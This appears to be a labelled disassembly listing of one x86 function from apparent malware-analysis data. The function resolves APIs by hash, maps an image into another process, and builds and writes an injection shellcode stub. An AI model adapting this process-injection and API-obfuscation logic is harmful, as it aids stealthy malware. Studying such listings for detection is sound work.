Function at 0x1007a24
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x38], eax
push 0x331717e
mov ebx, 0x90f7c8c
mov dword [ebp - 4], edi
push ebx
mov dword [ebp - 0x34], edi
call fcn.01006a98
pop ecx
pop ecx
push edi
push 0x8000000
push 0x40
lea ecx, [ebp - 0x38]
push ecx
push edi
push 0x2000000
lea ecx, [ebp - 0x10]
push ecx
call eax
mov esi, 0x1f33be
push esi
push ebx
call fcn.01006a98
pop ecx
pop ecx
push 0x40
push edi
push 2
pop ecx
push ecx
lea ecx, [ebp + 0x10]
push ecx
push edi
push edi
push edi
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
push dword [ebp - 0x10]
call eax
cmp dword [ebp - 4], edi
je 0x1007db2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.0100644e
mov eax, dword [ebp - 4]
push esi
push ebx
mov dword [ebp - 8], eax
call fcn.01006a98
add esp, 0x14
push 0x40
push edi
push 2
pop ecx
push ecx
lea ecx, [ebp + 0x10]
push ecx
push edi
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 8]
push edi
push edi
mov eax, dword [ecx + 0x3c]
sub esi, ecx
add eax, ecx
push ecx
mov dword [ebp - 0x28], eax
call fcn.01007894
add esp, 0xc
mov eax, esi
cdq
push 0xc000007b
push 0xc0000018
push edi
push 0xb63014
push edx
push eax
push dword [ebp - 4]
call fcn.010077aa
push 0x7d01a91
push ebx
call fcn.01006a98
pop ecx
pop ecx
lea ecx, [ebp - 0x30]
push ecx
push 1
push 1
push dword [ebp - 4]
call eax
lea ebx, [eax + 0xc]
jmp 0x1007c38
cmp dword [ebx - 0xc], edi
je 0x1007c43
mov edi, dword [ebx]
add edi, dword [ebp - 4]
push edi
call fcn.01006d7b
xor ecx, ecx
push 2
pop edx
lea esi, [eax + 1]
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.01006388
pop ecx
pop ecx
push esi
push eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], eax
push edi
push edi
push 0xbc08782
push 0xb9f5b9c
call fcn.01006a98
pop ecx
pop ecx
call eax
mov esi, dword [ebp - 0x1c]
push esi
push dword [ebp + 8]
call fcn.01007973
mov dword [ebp - 0x18], eax
pop ecx
pop ecx
test eax, eax
jne 0x1007ba9
cmp byte [ebp + 0x20], al
je 0x1007db2
push 0xaadf0c7
push 0xb9f5b9c
call fcn.01006a98
pop ecx
pop ecx
push esi
call eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebx - 0xc]
test ecx, ecx
je 0x1007c3b
mov eax, dword [ebp - 4]
mov edx, dword [ebx + 4]
add edx, eax
mov dword [ebp - 0x14], edx
lea edi, [ecx + eax]
mov ecx, dword [edi]
test ecx, ecx
je 0x1007c33
mov ebx, edx
mov eax, ecx
shr eax, 0x1f
test al, al
je 0x1007bdb
movzx eax, word [edi]
mov dword [ebp - 0x14], eax
jmp 0x1007bed
add ecx, dword [ebp - 4]
mov dword [edi], ecx
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [edi], eax
push 0xa3beca7
push 0xb9f5b9c
call fcn.01006a98
pop ecx
pop ecx
push esi
call eax
push 0xb3c1d03
push 0xb9f5b9c
mov esi, eax
call fcn.01006a98
pop ecx
pop ecx
push dword [ebp - 0x14]
push esi
call eax
sub eax, esi
add edi, 4
add eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov dword [ebx], eax
add ebx, 4
mov ecx, dword [edi]
test ecx, ecx
jne 0x1007bca
mov ebx, dword [ebp - 0x20]
add ebx, 0x14
xor edi, edi
mov dword [ebp - 0x20], ebx
cmp dword [ebx], edi
jne 0x1007b27
xor ebx, ebx
push ebx
push 1
push dword [ebp - 4]
call fcn.01007894
mov ecx, dword [ebp - 0x28]
mov edi, 0x90f7c8c
push 0x24
pop esi
push 0x13f9f79
mov ecx, dword [ecx + 0x28]
add ecx, dword [ebp - 8]
mov byte [ebp - 0x64], 0x53
mov byte [ebp - 0x63], 0x89
mov byte [ebp - 0x62], 0xe3
mov byte [ebp - 0x61], 0x83
mov byte [ebp - 0x60], 0xe4
mov byte [ebp - 0x5f], 0xf0
mov byte [ebp - 0x5e], 0xb9
mov byte [ebp - 0x5d], 0x41
mov byte [ebp - 0x5c], 0x41
mov byte [ebp - 0x5b], 0x41
mov byte [ebp - 0x5a], 0x41
mov byte [ebp - 0x59], 0xba
mov byte [ebp - 0x58], 1
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xb8
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x50
mov byte [ebp - 0x4e], 0x52
mov byte [ebp - 0x4d], 0x51
mov byte [ebp - 0x4c], 0xb8
mov byte [ebp - 0x4b], 0x41
mov byte [ebp - 0x4a], 0x41
mov byte [ebp - 0x49], 0x41
mov byte [ebp - 0x48], 0x41
mov byte [ebp - 0x47], 0xff
mov byte [ebp - 0x46], 0xd0
mov byte [ebp - 0x45], 0x89
mov byte [ebp - 0x44], 0xdc
mov byte [ebp - 0x43], 0x5b
mov byte [ebp - 0x42], 0xc3
mov byte [ebp - 0x41], bl
mov al, byte [ebp - 0x64]
mov eax, dword [ebp - 8]
push edi
mov dword [ebp - 0x5d], eax
mov dword [ebp - 0x4b], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0xc], ebx
call fcn.01006a98
add esp, 0x14
lea ecx, [ebp - 0x2c]
push 0x40
push 0x3000
push ecx
push ebx
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp + 8]
call eax
push esi
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.0100776f
push dword [ebp - 8]
call fcn.0100722c
add esp, 0x14
cmp byte [ebp + 0x1c], bl
je 0x1007d4f
push 0x400
push ebx
push dword [ebp - 8]
call fcn.0100647f
add esp, 0xc
cmp byte [ebp + 0x14], bl
je 0x1007daa
push 0x6b5ea54
push edi
call fcn.01006a98
pop ecx
pop ecx
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x24]
push ecx
push ebx
push dword [ebp - 0xc]
push ebx
push ebx
push ebx
push 1
push ebx
push dword [ebp + 8]
call eax
push 0x3232414
push edi
call fcn.01006a98
pop ecx
pop ecx
push ebx
push dword [ebp - 0x24]
call eax
cmp byte [ebp + 0x18], bl
je 0x1007dad
push 0x479cab4
push 0xb9f5b9c
call fcn.01006a98
pop ecx
pop ecx
push 0xffffffffffffffff
push dword [ebp - 0x24]
call eax
jmp 0x1007dad
call dword [ebp - 0xc]
mov eax, dword [ebp - 8]
jmp 0x1007db4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret